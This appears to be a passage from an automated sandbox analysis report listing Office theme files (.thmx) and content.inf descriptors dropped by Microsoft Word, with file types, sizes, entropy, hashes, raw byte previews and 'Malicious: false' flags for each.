Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDF044.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5361139545278144
Encrypted:	false
SSDEEP:	6:Q+sxnxUXeMWMluRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnycMlMymD0wbnKNAH/lMz1
MD5:	133D126F0DE2CC4B29ECE38194983265
SHA1:	D8D701298D7949BE6235493925026ED405290D43
SHA-256:	08485EBF168364D846C6FD55CD9089FE2090D1EE9D1A27C1812E1247B9005E68
SHA-512:	75D7322BE8A5EF05CAA48B754036A7A6C56399F17B1401F3F501DA5F32B60C1519F2981043A773A31458C3D9E1EF230EC60C9A60CAC6D52FFE16147E2E0A9830
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.s.i.s...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF064.tmp\Parcel.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDF064.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.516359852766808
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKwRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6qymD0wbnKNAH/lMz1
MD5:	960E28B1E0AB3522A8A8558C02694ECF
SHA1:	8387E9FD5179A8C811CCB5878BAC305E6A166F93
SHA-256:	2707FCA8CEC54DF696F19F7BCAD5F0D824A2AC01B73815DE58F3FCF0AAB3F6A0
SHA-512:	89EA06BA7D18B0B1EA624BBC052F73366522C231BD3B51745B92CF056B445F9D655F9715CBDCD3B2D02596DB4CD189D91E2FE581F2A2AA2F6D814CD3B004950A
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.c.e.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF3C1.tmp\Parallax.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCDF3C1.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.51145753448333
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKsWkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6svymD0wbnKNAH/lMz1
MD5:	7956D2B60E2A254A07D46BCA07D0EFF0
SHA1:	AF1AC8CA6FE2F521B2EE2B7ABAB612956A65B0B5
SHA-256:	C92B7FD46B4553FF2A656FF5102616479F3B503341ED7A349ECCA2E12455969E
SHA-512:	668F5D0EFA2F5168172E746A6C32820E3758793CFA5DB6791DE39CB706EF7123BE641A8134134E579D3E4C77A95A0F9983F90E44C0A1CF6CDE2C4E4C7AF1ECA0
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.a.l.l.a.x...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF49E.tmp\Quotable.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Local\Temp\TCDF49E.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5323495192404475
Encrypted:	false
SSDEEP:	6:Q+sxnxUXhduDARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyxdumymD0wbnKNAH/lMz1
MD5:	BD6B5A98CA4E6C5DBA57C5AD167EDD00
SHA1:	CCFF7F635B31D12707DC0AC6D1191AB5C4760107
SHA-256:	F22248FE60A55B6C7C1EB31908FAB7726813090DE887316791605714E6E3CEF7
SHA-512:	A178299461015970AF23BA3D10E43FCA5A6FB23262B0DD0C5DDE01D338B4959F222FD2DC2CC5E3815A69FDDCC3B6B4CB8EE6EC0883CE46093C6A59FF2B042BC1
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .Q.u.o.t.a.b.l.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF4FE.tmp\Wood_Type.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Local\Temp\TCDF4FE.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.5552837910707304
Encrypted:	false
SSDEEP:	6:Q+sxnxUXtLARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnygymD0wbnKNAH/lMz1
MD5:	5728F26DF04D174DE9BDFF51D0668E2A
SHA1:	C998DF970655E4AF9C270CC85901A563CFDBCC22
SHA-256:	979DAFD61C23C185830AA3D771EDDC897BEE87587251B84F61776E720ACF9840
SHA-512:	491B36AC6D4749F7448B9A3A6E6465E8D97FB30F33EF5019AF65660E98F4570711EFF5FC31CBB8414AD9355029610E6F93509BC4B2FB6EA79C7CB09069DE7362
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .W.o.o.d._.T.y.p.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF629.tmp\Berlin.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDF629.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5270134268591966
Encrypted:	false
SSDEEP:	6:Q+sxnxUXa3Y1kRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyt1mymD0wbnKNAH/lMz1
MD5:	327DA4A5C757C0F1449976BE82653129
SHA1:	CF74ECDF94B4A8FD4C227313C8606FD53B8EEA71
SHA-256:	341BABD413AA5E8F0A921AC309A8C760A4E9BA9CFF3CAD3FB2DD9DF70FD257A6
SHA-512:	9184C3FB989BB271B4B3CDBFEFC47EA8ABEB12B8904EE89797CC9823F33952BD620C061885A5C11BBC1BD3978C4B32EE806418F3F21DA74F1D2DB9817F6E167E
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.e.r.l.i.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDFC58.tmp\Savon.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... ...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Local\Temp\TCDFC58.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5364757859412563
Encrypted:	false
SSDEEP:	6:Q+sxnxUXARkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnywMymD0wbnKNAH/lMz1
MD5:	CD465E8DA15E26569897213CA9F6BC9C
SHA1:	9EA9B5E6C9B7BF72A777A21EC17FD82BC4386D4C
SHA-256:	D4109317C2DBA1D7A94FC1A4B23FA51F4D0FC8E1D9433697AAFA72E335192610
SHA-512:	869A42679F96414FE01FE1D79AF7B33A0C9B598B393E57E0E4D94D68A4F2107EC58B63A532702DA96A1F2F20CE72E6E08125B38745CD960DF62FE539646EDD8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.a.v.o.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDFC68.tmp\Gallery.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... ...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Local\Temp\TCDFC68.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.5301133500353727
Encrypted:	false
SSDEEP:	6:Q+sxnxUXp2pRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyZ2vymD0wbnKNAH/lMz1
MD5:	1C5D58A5ED3B40486BC22B254D17D1DD
SHA1:	69B8BB7B0112B37B9B5F9ADA83D11FBC99FEC80A
SHA-256:	EBE031C340F04BB0235FE62C5A675CF65C5CC8CE908F4621A4F5D7EE85F83055
SHA-512:	4736E4F26C6FAAB47718945BA54BD841FE8EF61F0DBA927E5C4488593757DBF09689ABC387A8A44F7C74AA69BA89BEE8EA55C87999898FEFEB232B1BA8CC7086
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .G.a.l.l.e.r.y...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDFC89.tmp\Droplet.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDFC89.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.528155916440219
Encrypted:	false
SSDEEP:	6:Q+sxnxUXcmlDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyMmloymD0wbnKNAH/lMz1
MD5:	AA7B919B21FD42C457948DE1E2988CB3
SHA1:	19DA49CF5540E5840E95F4E722B54D44F3154E04
SHA-256:	5FFF5F1EC1686C138192317D5A67E22A6B02E5AAE89D73D4B19A492C2F5BE2F9
